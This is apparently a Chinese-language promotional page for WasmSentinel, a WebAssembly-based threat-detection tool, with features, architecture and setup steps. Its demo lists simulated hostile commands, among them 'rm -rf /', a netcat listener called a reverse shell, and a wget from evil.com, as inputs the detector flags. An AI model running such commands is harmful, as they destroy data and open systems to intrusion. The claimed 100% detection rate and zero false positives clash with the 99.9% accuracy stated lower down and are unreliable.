基于WebAssembly的
轻量级实时威胁检测

下一代安全监控系统,结合WASM沙箱隔离和Go高性能,实现毫秒级威胁检测响应

实时威胁检测
威胁检测控制台
✅ WASM引擎启动成功
📊 加载检测规则: suspicious_shell
⚠️ 检测到威胁: rm -rf / 命令
🚨 威胁等级: CRITICAL
📈 总检测数: 1,756,948,927
1ms
平均检测延迟
32MB
内存占用
100%
威胁检测率
0
误报率

核心特性

WebAssembly技术在安全领域的创新应用

实时检测

毫秒级威胁响应,基于eBPF的进程和网络事件监控,确保零延迟安全防护。

WASM沙箱

WebAssembly安全隔离执行环境,防止恶意规则影响主系统,确保检测引擎安全性。

可扩展架构

支持多语言开发检测规则(Rust/Go/C++),动态加载,社区驱动的规则生态系统。

智能分析

多维度威胁评估,置信度评分,减少误报,提供精确的安全告警和趋势分析。

云原生

容器化部署,Kubernetes集成,Prometheus监控,完整的DevOps工具链支持。

轻量级

最小资源占用,高性能Go引擎,适合边缘计算和资源受限环境的安全监控。

系统架构

现代化的微服务架构设计


事件收集器
eBPF/进程/网络

WASM引擎
Wasmtime/规则执行

威胁分析
智能评估/置信度

告警输出
日志/指标/告警

在线演示

体验实时威胁检测能力

威胁检测演示

模拟攻击场景
# 模拟恶意命令
$ bash -c 'rm -rf /'
$ nc -l 4444 # 反向Shell
$ wget http://evil.com/malware
$ sudo vim /etc/sudoers

# 威胁检测结果
🚨 CRITICAL: 检测到系统破坏命令
🚨 HIGH: 发现反向Shell尝试  
🚨 MEDIUM: 可疑文件下载行为
🚨 HIGH: 权限配置文件修改

实时监控指标

性能指标
1,756M+
总检测数
1ms
平均延迟
99.9%
准确率
最新威胁检测
检测到 PowerShell 编码命令执行
防护成功
阻止了恶意文件执行尝试

快速开始

三步部署威胁检测系统

1. 克隆项目

git clone https://github.com/GeoffreyWang1117/WasmSentinel
cd WasmSentinel

2. 构建部署

./scripts/build.sh
docker-compose up -d

3. 启动监控

./wasmsentinel
curl localhost:8080/metrics